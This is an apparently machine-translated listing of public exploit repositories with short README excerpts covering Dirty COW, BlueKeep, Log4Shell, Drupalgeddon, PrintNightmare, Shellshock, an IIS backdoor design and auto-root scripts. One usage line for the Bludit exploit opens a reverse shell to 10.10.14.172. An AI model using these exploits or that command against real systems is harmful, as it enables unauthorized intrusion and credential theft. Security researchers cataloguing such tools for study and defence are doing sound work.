dirtcow

dirtcow Воспроизведение уязвимости локального повышения привилегий Dirty Cow в Linux CVE-2016-5195 0、 Используйте команду uname -a для просмотра информации о ядре Linux 1、 Скачайте EXP на локальный компьютер/сервер 2、 Скомпилируйте dirty.c с помощью команды gcc -pthread dirty.c -o dirty -lcrypt,...

LARE

LARE L окальный A втоматический R ут-E ксплоитер — это простой bash-скрипт, который помогает развернуть локальные эксплойты для получения root-прав с атакующей машины, когда на целевой машине нет доступа в интернет. Скрипт полезен в сценарии, когда целевая машина не имеет интернет-соединения...

cve-2019-0708

cve-2019-0708 Инструмент для эксплуатации CVE-2019-0708 Инструмент для эксплуатации службы удаленного рабочего стола с использованием CVE-2019-0708 Video Demo: https://www.youtube.com/watch?v=SCsJ9Uq3POk...

poc_CVE-2018-1002105

CVE-2018-1002105 PoC Аутентифицированный PoC Демонстрация Использование Неаутентифицированный PoC Демонстрация Использование Аутентифицированный PoC Эксплойт Proof-of-Concept для CVE-2018-1002105. Текущий эксплойт требует привилегий create и get на pods и pods/exec. Добавлена поддержка portforwar...

AndroidKernelVulnerability

Android Kernel Vulnerability Обзор В ноябре 2017 года системой syzkaller была обнаружена use-after-free ошибка в ядре linux. В феврале 2018 года она была исправлена в некоторых ядрах linux и версиях Android. Это исправление никогда не включалось в ежемесячные бюллетени безопасности Android, поэто...

IIS-Backdoor

IIS-Backdoor 이 글에서는 Microsoft IISInternet Information Services용 루트킷을 어떻게 설계했는지 설명하겠습니다. 질문은: 왜 웹 서버에 백도어를 심는가? 첫 번째로 떠오르는 명백하지만 쓸모없는 대답: 할 수 있으니까. 좋습니다. 더 영리한 대답을 해보죠. 웹 서버에 백도어를 심는 목적은 두 가지입니다. 공격자가 클라이언트가 보낸 데이터에 접근할 수 있게 해줍니다. 예를 들어 웹 사이트가 비밀번호로 보호되는 경우, 이 비밀번호를 획득할 수 있습니다. 서버에서 웹 클라이언트로 전송되는 ...

CVE-2021-42013-LAB

CVE-2021-42013-ЛАБ Сервер Apache HTTP 2.4.50 - Лаборатория RCE exploit.sh :- https://github.com/jas9reet/CVE-2021-42013-LAB/blob/main/exploit.sh Использование docker pull jas9reet/cve-2021-42013-lab docker run -dit -p 8088:80 jas9reet/cve-2021-42013-lab Доступ к уязвимому приложению...

CVE-2018-7600

CVE-2018-7600 CVE-2018-7600 Эксплойт Измените TARGET в exploit.py $ python3 exploit.py Success: Check http://127.0.0.1:8080/hello.txt...

CVE-2014-4076

CVE-2014-4076 PoC Это доказательство концепции напрямую скопировано из оригинальной версии на Python и переписано на C++. Сборка Этот проект собран с помощью Visual Studio 2013 Update 4. Примечание Только пользователи из группы Администраторы могут открыть устройство и выполнять IO controls, что...

CVE-2023-23397-POC-Using-Interop-Outlook

CVE-2023-23397-POC-Using-Interop-Outlook Простая реализация эксплойта POC для CVE-2023-23397 с использованием Microsoft.Office.Interop.Outlook...

Log4J-CVE-2021-44228-RCE

Log4J CVE-2021-44228 Эксплойт с выполнением команд Интерактивный эксплойт, просто запустите: ./exploit.sh...

CVE-2019-10149

CVE-2019-10149 - Exim 4.87 Local/Makefile cp eximmonitor/EDITME Local/eximon.conf Создайте пользователя и группу exim sudo groupadd -g 31 exim sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim Установите зависимости sudo apt-get update sudo apt-get install -y make...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE с аутентификацией Использование python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Пример...

PrintNightmare-CVE-2021-1675

PrintNightmare-CVE-2021-1675 Youtube : https://youtu.be/Zr0KjYDSFKQ...

CVE-2022-25845-In-Spring

CVE-2022-25845-In-Spring !IMPORTANT 학습 및 교류 용도로만 사용하시고, 불법적인 용도로 사용하지 마세요 python 기반 exploit 도움이 되셨다면 star를 눌러주세요 참고: https://github.com/luelueking/CVE-2022-25845-In-Spring 사용법 필요에 따라 매개변수 전달 로직을 직접 수정하세요. 기본값은 POST 요청 본문으로 매개변수를 전달하는 방식입니다. git clone...

autoscan

autoscan.sh Обзор autoscan.sh является полностью автоматизированным инструментом для тестирования на проникновение, интегрированным с Metasploit, nmap и другими бесплатными доступными инструментами, и отчитывается обо всем этом в faraday faraday — это один инструмент, вы можете использовать его д...

Auto-Root-Exploit

Auto-Root-Exploit Outil d'exploitation automatique de root Auteur : Nilotpal Biswas Facebook : https://www.facebook.com/nilotpal.biswas.73 Twitter : https://twitter.com/nilotpalhacker UTILISATION : pour la version du noyau 2.6 toutes bash autoroot.sh 2 pour la version du noyau 3 toutes bash...

Pompem

Pompem - Recherche d'exploits et de vulnérabilités Pompem est un outil open source, conçu pour automatiser la recherche d'exploits et de vulnérabilités dans les bases de données les plus importantes. Développé en Python, il dispose d'un système de recherche avancée qui facilite le travail des...

CVE-2022-24122

CVE-2022-24122 Простая атака типа «отказ в обслуживании» с использованием CVE-2022-24122 Работает на системах с 1 ядром и имеет 80% вероятность успеха на системах с 2 ядрами...

CGIShell

CGIShell shellshock CVE-2014-6271 Эксплойт CGI Используйте как OpenSSH через CGI-страницу Использование python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' Скриншот Зависимости Для Windows требуется pyreadline chardet не требуется Планы Добавить тестовые примеры Поддержка HTTP-логина...